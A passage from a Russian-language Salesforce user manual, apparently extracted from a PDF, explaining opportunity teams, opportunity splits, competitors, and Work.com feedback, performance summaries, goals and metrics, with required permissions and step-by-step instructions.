• Чтобы просмотреть сведения об участнике или клонировать участника рабочей
группы, щелкните имя нужного участника.

СМ. ТАКЖЕ:

Группы, работающие с возможностями
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Добавление участников в группу, работающую с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления участников
рабочей группы в
возможность:
• «Чтение» для

пользователей

И

«Чтение» для
возможностей

И

Ответственный за
возможность или
вышестоящий
ответственный в
иерархии ролей
организации.

Для просмотра
возможности, в которой
пользователь является
участникомрабочей группы:
• «Чтение» для

возможности

Добавление участников рабочей группы в собственную возможность инициирует
предоставление доступа к сведениям, необходимым для закрытия сделки.

1. Откройтестраницусведенийовозможности, перейдитексвязанномусписку «Группа,
работающая с возможностями» и нажмите кнопку «Добавить» или «Добавить
члена группы», смотря какая кнопка появится.

2. Введите имя члена в столбец «Пользователь» или выберите имя члена. Если
организация использует партнерский портал, выберите значение
«Пользователь-партнер» или «Пользователь», а затем введите имя участника.

При добавлении участник группы, работающей с возможностями, получает
автоматический доступ для чтения к связанной организации.

3. Выберите нужную роль участника рабочей группы.

4. Выберите нужный уровень доступа участника к возможности. Уровень доступа
должен превышать стандартный уровень общего доступа организации к
возможностям.

5. Укажите значения любых настраиваемых полей, созданных администратором для
групп, работающих с возможностями.

6. Нажмите кнопку «Сохранить».

Совет: Чтобы просмотреть список участников рабочей группы для собственных
возможностейиливозможностейсвоихподчиненныхвиерархииролей, запустите
отчет «Возможности с группами, работающими с возможностями». Данный отчет
также содержитсведенияо собственныхвозможностяхирабочих группах со своим
участием, включая любые доли возможности.

СМ. ТАКЖЕ:

Поля группы, работающей с возможностями

Создание долей возможности
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Редактирование участников группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
участников рабочей группы:
• «Редактирование» для

возможностей

И

Ответственный за
возможность или
вышестоящий
ответственный в
иерархии ролей
организации.

Для просмотра
возможности, в которой
пользователь является
участникомрабочей группы:
• «Чтение» для

возможности

Изменитьуровеньдоступа, роль группыимногоедругоедлячленов группы, работающей
с возможностями.

1. Откройте страницу сведений о возможности и перейдите к связанному списку
«Группа, работающая с возможностями».

2. Если член группы, которого вы обновляете, не появился, просмотрите полный
список.

3. Выберите ссылку «Правка» напротив имени нужного члена.

Прим.: Неактивные пользователи с назначенными процентами долей
отображаются в группе, работающей с возможностями; система позволяет
редактировать только поля, связанные с долями. Все остальные поля доступны
только для чтения.

4. Выберите другой уровень доступа или роль. Уровень доступа должен превышать
стандартный уровень общего доступа организации к возможностям.

5. Измените значения любых настраиваемых полей, созданных администратором для
групп, работающих с возможностями.

Важное замечание: См. раздел «Работа с настраиваемыми полями для групп,
работающих с возможностями» на странице 1578.

6. Нажмите кнопку «Сохранить».

7. Чтобы просмотреть единые параметры общего доступа к возможностям, щелкните
«Показать доступ». Данные параметры позволяют расширить уровень доступа,
предоставленный участнику группы, работающей с возможностями. Например,
значение «Для чтения и записи», заданное параметру общего доступа организации
к возможностям, переопределяет значение «Только для чтения», назначенное
отдельному участнику группы, работающей с возможностями.

Совет: Чтобы просмотреть список участников рабочей группы для собственных
возможностейиливозможностейсвоихподчиненныхвиерархииролей, запустите
отчет «Возможности с группами, работающими с возможностями». Данный отчет
также содержитсведенияо собственныхвозможностяхирабочих группах со своим
участием, включая любые доли возможности.

СМ. ТАКЖЕ:

Поля группы, работающей с возможностями
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Удаление участников из группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления участников
рабочей группы:
• «Чтение» для

пользователей

И

«Редактирование» для
возможностей

Для просмотра
возможности, в которой
пользователь является
участникомрабочей группы:
• «Чтение» для

возможности

1. Откройте страницу сведений о возможности и перейдите к связанному списку
«Группа, работающая с возможностями». При необходимости откройте любую
другую страницу, содержащую данный список.

2. Удалите бывших участников рабочей группы. (Приналичииболее пяти участников
щелкнитессылку «Перейтиксписку», позволяющуюпросмотретьвсех участников
рабочей группы.)

Ниже перечислены рекомендации по использованию долей возможности.

• Участник рабочей группы, которому назначен процент доли больше нуля, может
быть удален только после переназначения доли.

• Ответственный за возможность не может быть удален из группы, работающей с
возможностями. Чтобы удалить данного участника из расчетов долей, назначьте
процент доли, равный нулю, или выберите другого ответственного за возможность.

Работа с настраиваемыми полями для групп, работающих с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настраиваемые поля для групп, работающих с возможностями, отображаются только в
том случае, если они заданы и добавлены администратором в соответствующие макеты
страниц.

Настраиваемые поля, заданные администратором, но отсутствующие на странице
«Добавить участников группы, работающей с возможностями», недоступны при
добавлении нового участника рабочей группы. Тем не менее, данные поля доступны
приредактированиитекущего участника группы, работающейс возможностями. Чтобы
просмотреть поля, щелкните ссылку «Правка» напротив имени нужного участника в
связанном списке «Группа, работающая с возможностями».

Помните, чторедактированиесведенийобучастникеинициируетперезаписьисходных
сведений. Например, пользователь добавляет участника в рабочую группу, а затем
изменяет сведения об этом участнике для выбора значений всех связанных настраиваемых полей. Затем, пользователь
снова добавляет данного участника в рабочую группу. Настраиваемые поля не отображаются на странице «Добавить
участников группы, работающей с возможностями», поэтому данные поля не могут быть заполнены значениями при
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повторномдобавленииучастника. Вэтомслучаеисходные значения, введенныевнастраиваемыеполя, перезаписываются
пустым значением.

СМ. ТАКЖЕ:

Добавление участников в группу, работающую с возможностями

Редактирование участников группы, работающей с возможностями

Настройка стандартной группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартной
группы, работающей с
возможностями:
• «Чтение» для

возможностей

Группа, работающаясвозможностями, — этосовокупностьпользователей, работающих
совместнонад возможностями. Например, группа, работающаяс возможностями, может
состоять из менеджера по работе с клиентами, специалиста по сбыту и торгового
представителя. Стандартная группа, работающая с возможностями, должна содержать
пользователей, привлекаемых к совместной работе над собственными возможностями.
Каждому пользователю может быть назначена роль в рабочей группе и предоставлен
уровень доступа к возможностям.

СМ. ТАКЖЕ:

Группы, работающие с возможностями

Добавление стандартной группы, работающей с возможностями
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Добавление стандартной группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартной
группы, работающей с
возможностями:
• «Чтение» для

возможностей

Для добавления
стандартных рабочих групп
в возможности:
• «Чтение» для

возможностей

И

Ответственный за
возможность или
вышестоящий
ответственный в
иерархии ролей
организации.

Экономитвремяза счет автоматическогодобавлениястандартнойгруппы, работающей
с возможностями, к возможностям, которые имеет пользователь.

• При добавлении участников в стандартную группу, работающуюс возможностями,
определите необходимость автоматического добавления рабочей группы во все
открытые возможности.

• Крометого, стандартная группа, работающаясвозможностями, можетбытьдобавлена
в отдельные возможности.

1. Откройте страницу сведений о возможности и перейдите к связанному списку
«Группа, работающая с возможностями».

2. Нажмите кнопку «Добавить стандартную рабочую группу».

Прим.: Администраторы и вышестоящие пользователи в иерархии ролей
могут добавлять стандартные рабочие группы в возможности текущего
пользователя. Нажатие кнопки «Добавить стандартную рабочую группу»
инициирует добавление стандартной рабочей группы ответственного за
возможность, а не пользователя, нажавшего данную кнопку.

СМ. ТАКЖЕ:

Группы, работающие с возможностями

Настройка стандартной группы, работающей с возможностями

Поля группы, работающей с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ОписаниеПоле

Уровень доступа участника рабочей
группыквозможности. Возможныеуровни
доступа: «Для чтения и записи» или
«Только для чтения». Уровень доступа
должен превышать стандартный уровень
общего доступа организации к
возможностям.

Доступ к возможности

Роль участника в группе, работающей с
возможностями (например, «Менеджерпо
организациям»).

Роль в рабочей группе
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ОписаниеПоле

Пользователь, являющийся участником рабочей группы.
Если организация использует партнерский портал,

Пользователь

выберите значение «Пользователь-партнер» или
«Пользователь».

СМ. ТАКЖЕ:

Добавление участников в группу, работающую с возможностями

Общие сведения о долях возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функцияразделениявозможностейпозволяетучастникамрабочейгруппыделитькредит
продажи для возможности. Участники рабочей группы, сотрудничающие над
возможностью, могут сводить индивидуальные кредиты продажи к отчетам по планам
продаж и ожидаемым продажам для всей рабочей группы.

Прим.: Просмотр и редактирование долей доступны только ответственному за
возможностьиливышестоящемусотрудникувиерархииорганизации, имеющему
доступ к полям долей.

Система поддерживает два типа долей возможности.

• Чтобы предоставить кредит участникам рабочей группы, которые несут
непосредственнуюответственность за доход возможности, воспользуйтесь долями,
сумма которых составляет 100% от стоимости возможности. (По умолчаниюданные доли называются долями дохода.)

• Чтобы предоставить кредит участникам второстепенной рабочей группы, воспользуйтесь долями, сумма которых
может составлять любой процент от стоимости возможности, иногда превышая 100%. (По умолчанию данные доли
называются долями наложения.)

По умолчанию поле «Возможность: стоимость» поддерживает одну долю дохода и одну долю наложения. Если
организация использует настраиваемые типы долей, то администратор может создать не более трех дополнительных
типов долей; система позволяет использовать не более пяти типов долей. Процент каждой доли определяется
администратором.

Например, разделите кредит возможности для стандартногополя «Предполагаемый доход». Илидобавьте поле валюты
для прибыли и создайте тип доли на основе прибыли, полученной от возможности. Типы долей поддерживаются
практически всеми полями валюты возможностей, включая настраиваемые поля и поля сводного резюмирования, но не
полями валютыформулы.

Чтобы включить поддержку настраиваемых типов долей для организации, обратитесь в компанию Salesforce.

При необходимости администратор может создать настраиваемые поля для долей возможностей, позволяющие
пользователям отслеживать и хранить сведения о долях, создаваемых для участников рабочей группы.

Прим.: Пользователи не могут создавать зависимые раскрывающиеся списки для долей возможностей.

Совет: Дополнительную информацию о добавлении долей в прогнозы см. в разделе «Переключение между
прогнозами по доходу и прогнозами по количеству». (Доли не могут быть сведены к территориям продаж.)
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Создание долей возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления долей для
участников группы,
работающей с
возможностями:
• «Редактирование» для

возможностей

И

Ответственный за
запись возможностиили
вышестоящий
сотрудник в иерархии
организации

Система позволяет добавлять и настраивать доли для участников группы, работающей
с возможностями.

Если организация использует групповой сбыт и доли возможности, то пользователи
могут редактировать доли для участников группы, работающей с возможностями.

1. Откройтетекущуюилидобавьтеновуювозможность. Ответственныйзавозможность
автоматически добавляется в группу, работающую с возможностями, и изначально
получает 100% типов долей, которые должны составлять данную стоимость.

2. Щелкните «Редактировать доли возможности» в связанном списке «Доли
возможности».

Прим.: При отсутствии долей для определенного поля обратитесь к
администратору дляпроверки уровня доступа, которыйможет быть ограничен
параметрами безопасности поля.

3. Добавьте соответствующих участников группы, работающей с возможностями, и
настройте нужные проценты долей. Чтобы определить, должен ли тип доли
составлять 100%, выполните поиск пофразе «Должно составлять 100%» в описании
доли.

Чтобы удалить участника рабочей группы из доли, щелкните значок напротив
имени нужного участника рабочей группы.

Прим.: Чтобы добавить участника рабочей группы, которыйне был добавлен,
воспользуйтесь связанным списком «Группа, работающая с возможностями»
на основной странице возможности. (Чтобы добавить участников при
редактировании долей, обратитесь к администратору.)

4. Нажмите кнопку «Сохранить».

Прим.: Проценты долей ограничиваются двумя знаками после запятой. Введенная денежная сумма, где процент
доли содержит не менее трех знаков после запятой, автоматически округляется.
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Изучение конкурентов

Общие сведения о конкурентах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Конкуренты по отложенной сделке могут отслеживаться путем создания списка имен
конкурентов для соответствующей возможности. Введите имена новых конкурентов
иливыберитенужныеименаиз списка конкурентов, заданногоадминистратором. Чтобы
просмотреть имена конкурентов, перейдите к связанному списку возможности
«Конкуренты».
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Просмотр и редактирование конкурентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляпросмотра конкурентов:
• «Чтение» для

возможностей

Для редактирования
конкурентов:
• «Редактирование» для

возможностей

Связанныйсписоквозможности «Конкуренты» содержитконкурентовпотекущейсделке.

• Чтобы просмотреть сведения о конкуренте, выберите имя нужного конкурента.

• Чтобыдобавитьсильныеислабыестороныконкурента, щелкнитессылку«Правка»
напротив имени нужного конкурента.

• Чтобы добавить нового конкурента, нажмите кнопку «Создать». Введите имя
конкурента. Чтобы выбрать имя конкурента из списка, заданного администратором,
щелкните значок поиска. Конкурент может не быть текущей организацией или
контактом. В этом случае укажите сильные и слабые стороны конкурента, которые
могут отличаться для каждой возможности.

Прим.: Создание или добавление конкурентов возможно только при наличии
полномочия на редактирование возможностей.
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Повышение производительности посредством Work.com

Общие сведения об отзывах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Отзывы» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра отзывов:
• «Чтение» для отзывов,

вопросов отзыва, наборов
вопросов отзыва и запросов
отзыва

И

«Чтение» для циклов
производительности

Для создания отзывов:
• «Создание» в разделе

«Отзывы», «Вопросы
отзыва», «Наборы вопросов
отзыва» и «Запросы отзыва»

И

«Чтение» для циклов
производительности

Для редактирования или
отправки отзывов:
• «Редактирование» для

отзывов, вопросов отзыва,
наборов вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Для удаления отзывов (только
для
пользователей-администраторов
с полномочием «Изменение
всех данных»/«Просмотр всех
данных»):
• «Удаление» для отзывов,

вопросов отзыва, наборов
вопросов отзыва и запросов
отзыва

И

«Чтение» для циклов
производительности

Work.com Feedback позволяет запрашивать и предлагать незаказные отзывы по лицу
или теме, а также отвечать на отзывы, относящиеся к сводкам производительности.

Предложение отзывов, запросы на отзывы и отзывы, относящиеся к сводке
производительности, — управление всем этим осуществляется с вкладки «Отзывы».
На вкладке «Отзывы» отображаются последние отзывы, которые вы просматривали
по умолчанию, и можно фильтровать их для просмотра различных типов записей
обратнойсвязи. Например, выберите«Новыезапросыотзывов», чтобыпросмотреть
записи отзывов, которые требуют ввода. Можно также создать настраиваемые
списковые представления с различными вариантами фильтра.

Кфильтрам отзывов по умолчанию относятся следующие.

• Все отзывы — все отзывы, в том числе разовые отзывы и отзывы по сводке
производительности.

• Отклоненные запросы отзывов — все отзывы, которые вы запросили и которые
были отклонены.

• Отзывы обо мне — все завершенные отзывы о вас.

• Отзывы о моей рабочей группе — все заполненные отзывы о вашей рабочей
группе.

• Отзывы о других — заполненные отзывы о других.

• Отзывы о темах — заполненные отзывы о темах.

• Новые ответы на отзывы — новые ответы на те отзывы, которые вы запросили.

• Новые запросы на отзывы — новые запросы на отзывы для разового отзыва и
сводки производительности.

1586

Общие сведения об отзывахПродажи клиентам



Ниже перечислены действия, доступные на странице отзывов.

• Просмотр и фильтрация списка отзывов для новых запросов, ответов и других отзывов

• Щелкните запись отзыва, чтобы просмотреть и изменить сведения об отзыве

• Предложение или запрос отзывов

СМ. ТАКЖЕ:

Доступность отзывов

Общие сведения о сводках по производительности

Включение или выключение параметров Work.com
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Доступность отзывов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Отзывы» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

Параметры доступности определяются выбранным типом отзыва.

Запрошенные отзывы
Запрос отзыва может просматриваться только соответствующими получателями и
администраторами с полномочием «Изменение всех данных» или «Просмотр всех
данных».

Администратор с
полномочием
«Изменение всех
данных»/«Просмотр
всех данных»

Менеджер
пользователя

Пользователь,
получающий
запрос

Объект запроса
отзыва

Тема

Я

Другой
пользователь

Предложенные отзывы
Система позволяет просматривать только доступные отзывы. Например, пользователь
не может просматривать отзывы о самом себе, доступные только его менеджеру.

Администратор с
полномочием «Изменение
всех данных»/«Просмотр
всех данных»

Менеджер пользователяПользовательПредложенные отзывы

Только пользователь

Пользователь и менеджер

Только менеджер

СМ. ТАКЖЕ:

Общие сведения об отзывах
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Общие сведения о сводках по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Производительность»:
• «Чтение» для циклов

производительности

Для просмотра сводок по
производительности:
• «Чтение» для циклов

производительности

Для создания сводок по
производительности:
• «Создание» для циклов

производительности

Для составления и отправки
сводок по
производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Сводки по производительностиWork.com позволяют собирать отзывы о сотрудниках
компании посредством настраиваемой анкеты.

Воспользуйтесь вкладкой «Отзывы» для просмотра сводок по производительности,
которые требуется завершить. Чтобы отфильтровать сводки по производительности,
воспользуйтесь раскрывающимся меню. ВыберитеНовые запросы отзывов, чтобы
увидетьсводкипооднократнымотзывамипроизводительности, которыетребуютответа.

СМ. ТАКЖЕ:

Добавление коллег в сводку по производительности

Составление сводки

Отклонение запроса на предоставление сводки производительности

Общие сведения о циклах сводок по производительности

Включение или выключение параметров Work.com
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Составление сводки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования сводок
по производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

1. В раскрывающемся списке на вкладке «Отзывы» выберите пункт «Новые запросы
отзывов».

2. Нажмите кнопку «Начать».

3. Выберите сводку по производительности.

4. Ответьте на вопросы сводки. Если доступно, щелкнитеПригласить коллег или
Пригласитьпроверяющихнауровнепропуска, чтобызапроситьрецензиидругих
сотрудников.

Чтобы просмотреть недавнюю работу, например благодарности, цели, метрики и
отзывы, щелкнитеНастроить связанные списки на странице сводных данных о
производительности. Вынеможетецитироватьнедавнююработунапрямуювответах,
однако вы можете добавлять эти сведения вручную.
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5. Чтобы отправить составленную сводку, нажмите кнопку «Отправить». Чтобы отложить редактирование сводки,
нажмите кнопку «Сохранить черновик».

Отправленныесводки, включая сводкиосебеилисвоейкоманде, можнопросматриватьпосредствомфильтровна вкладке
«Отзывы».

СМ. ТАКЖЕ:

Общие сведения о сводках по производительности

Добавление коллег в сводку по производительности

Отклонение запроса на предоставление сводки производительности
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Добавление коллег в сводку по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сводок по
производительности:
• «Чтение» для циклов

производительности

Для добавления коллег в
сводки по
производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Система позволяет приглашать коллег для проверки сводок по производительности.

1. В раскрывающемся списке на вкладке «Отзывы» выберите пункт «Новые запросы
отзывов».

2. Нажмите кнопку «Начать».

3. Выберите нужную сводку по производительности.

4. При наличии проверок на уровне коллеги или пропуска щелкните «Пригласить
коллег»или «Пригласитьпроверяющихна уровнепропуска» вверху страницы.

5. Введите имя нужного пользователя и нажмите кнопку «Сохранить».
Имя пользователя появляется в списке приглашенных; сам пользователь получает
электронный запрос на составление соответствующей сводки.

СМ. ТАКЖЕ:

Общие сведения о сводках по производительности

Составление сводки

Отклонение запроса на предоставление сводки производительности
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Отклонение запроса на предоставление сводки производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Производительность»:
• «Чтение» для циклов

производительности

Для редактирования сводок
по производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Система позволяет отклонять запросы на предоставление сводки производительности
по пользователям или рабочим группам, потерявшим свою актуальность.

1. В раскрывающемся списке на вкладке «Отзывы» выберите пункт «Новые запросы
отзывов».

2. Нажмите кнопку «Начать».

3. Выберите сводку по производительности.

4. Щелкните кнопку «Отклонить».

5. Нажмите кнопку «ОК» в сообщении-подтверждении.

• Разрешается отклонять только сводки на уровне пользователя, сводки на уровне
коллеги и сводки на уровне пропуска.

• Сохраненные ответы хранятся в отклоненной сводке.

• Отклоненные сводкиможнонайтина странице «Отзывы» посредствомфильтра
«Все отзывы».

• Чтобывновьоткрытьсводку, щелкнитессылку«Повторнооткрыть»настранице
сведений об отклоненной сводке. Повторно открытые сводки отображаются в
списке «Новые запросы отзывов».

• После завершение цикла производительности отклоненные сводки нельзя
открыть.

СМ. ТАКЖЕ:

Общие сведения о сводках по производительности

Добавление коллег в сводку по производительности

Составление сводки
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Общие сведения о целях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Цели» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра целей:
• «Чтение» для целей и

ссылок цели

Для создания целей:
• «Создание» для целей и

ссылок цели

Для редактирования целей:
• «Редактирование» для

целей и ссылок цели

Для удаления целей:
• «Удаление» для целей и

ссылок цели

Функция «ЦелиWork.com» позволяетпользователямопределять, отслеживатьиоценивать
выполненный объем работ. Цели доступны посредством вкладки «Цели» или страниц
профиля Chatter.

Вкладка «Цели» профиляпользователяотображаетцелиданногопользователя. Вкладка
верхнего уровня «Цели» — это общее списковое представление, которое может быть
настроено для отображения разных списков целей (например, «Моицели», «Целимоей
рабочей группы» или «Ключевыецеликомпании»). Отображаемыевкладкиисписковые
представления могут определяться заданными настройкамиWork.com.

Чтобы открыть страницу сведений о цели, выберите нужную цель в списковом
представлении.

Цели поддерживают ленты Chatter, предоставляя разным пользователям возможность
сотрудничества в ленте и отслеживания хода выполнения цели.

Страницасведенийоцелисодержитпоказатели, задачи, события, примечания, вложения
и другую связанную информацию. Согласование целей с другими пользователями
выполняется путем их связывания с родительскими целями или подцелями.

Чтобыконтролироватьпользователей, которыемогутпросматриватьиобновлятьцели,
изменитепараметрыобщегодоступа. Например, еслицелиорганизациипоумолчанию
являются личными, то общий доступ к целям может предоставляться выбранным
пользователям или группам только ответственными за цели и администраторами.
Выберитедоступтолькодлячтенияиличтенияизаписидляболеедетальногоуправления
доступом к целям.

Чтобы создать задачу или событие, связанное с конкретной целью, нажмите кнопку
«Создать задачу» или «Создать событие» в связанном списке «Открытые действия».
При необходимости создайте задачи или события для отдельных показателей.

Чтобы оценить ход выполнения, дополните цели показателями. При необходимости
свяжите показатели со сведениями из избранных отчетов для отслеживания работы в
системе Salesforce. Назначьте весовые значения разным показателям для точного
отслеживания процесса завершения цели.

СМ. ТАКЖЕ:

Создание цели

Показатели

Общие сведения об обучении

Рекомендации по использованию задач

Рекомендации по использованию событий и календарей

Настройка функции отслеживания лент Chatter

Включение или выключение параметров Work.com

Показатели
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Создание цели

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Цели» требует
наличия лицензии на
компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра целей:
• «Чтение» для целей и

ссылок цели

Для создания целей:
• «Создание» для целей и

ссылок цели

Функция «ЦелиWork.com» позволяетопределять, отслеживатьиоцениватьвыполненный
объем работ.

1. Откройте вкладку верхнего уровня «Цели».

При отсутствии вкладки «Цели» выберитеWork.com из раскрывающегося меню
приложений Force.com в верхнем правом углу или щелкните значок справа от
текущих вкладок и выберите нужную вкладку на странице «Все вкладки».

2. Нажмите кнопку «Создать».

3. Введите имя цели и укажите дополнительные сведения.

Параметры общего доступа могут быть настроены после создания цели. Обратите
внимание, что все изображения целей доступны внешним пользователям.

Совет: Чтобы создать ключевую цель компании, выберите поле «Ключевая
цель компании». Щелкните ссылку «Общий доступ» на странице сведений
оцелииразрешите общийдоступ для группы «Все внутренниепользователи».
Чтобы разрешить общий доступ к цели всем остальным пользователям в
организации, установитеуровеньдоступа «Толькодлячтения». Чтобыразрешить
совместнуюработунадцельювсемпользователям, установите уровеньдоступа
«Для чтения и записи».

4. Выберите статус цели.

• «Черновик»: сведения о цели доступны в режиме черновика и являются
неокончательными.

• «Опубликовано»: сведения о цели являются окончательными, а сама цель уже
выполняется.

• «Завершено»: выполнение цели завершено.

• «Отменено»: выполнение цели отменено.

• «Не завершено»: выполнение цели не завершено.

5. Нажмите кнопку «Сохранить».

Чтобы переназначить цели другим пользователям, щелкните ссылку «Изменить»
напротивполя «Имяответственного» настраницесведенийоцели. Крометого, убедитесь,
что показатели переназначаются соответствующему пользователю, так как они могут
принадлежать разным пользователям.

СМ. ТАКЖЕ:

Общие сведения о целях

Показатели
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Показатели

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Показатели»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

Рекомендуем использовать показатели для отслеживания и обнаружения данных.

Чтобы создать показатель, воспользуйтесь вкладкой «Показатели» или страницей
сведенийоцели. Пользователимогут создавать отдельныепоказателиили связывать их
с конкретными целями.

Рекомендуем использовать показатели выполнения или завершения для отслеживания
статуса разных целей, назначенных пользователям. Значения показателей могут
обновляться любыми пользователями, имеющими доступ для чтения и записи. Кроме
того, показатели могут отображаться соответствующими пространствами обучения и
сводками по производительности.

Значения показателей могут обновляться любыми пользователями, имеющими доступ
для чтения и записи. Кроме того, показатели могут отображаться соответствующими
пространствами обучения и сводками по производительности.

Создание показателя
ПоказателиWork.com позволяют отслеживать и обнаруживать работу.

СМ. ТАКЖЕ:

Создание показателя

Общие сведения о целях

Общие сведения о целях

Создание цели
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Создание показателя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Показатели»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра показателей:
• «Чтение» для

показателей

Для создания показателей:
• «Создание» для

показателей

Для связывания показателей
с отчетами:
• «Создание» для ссылок

на данные показателя

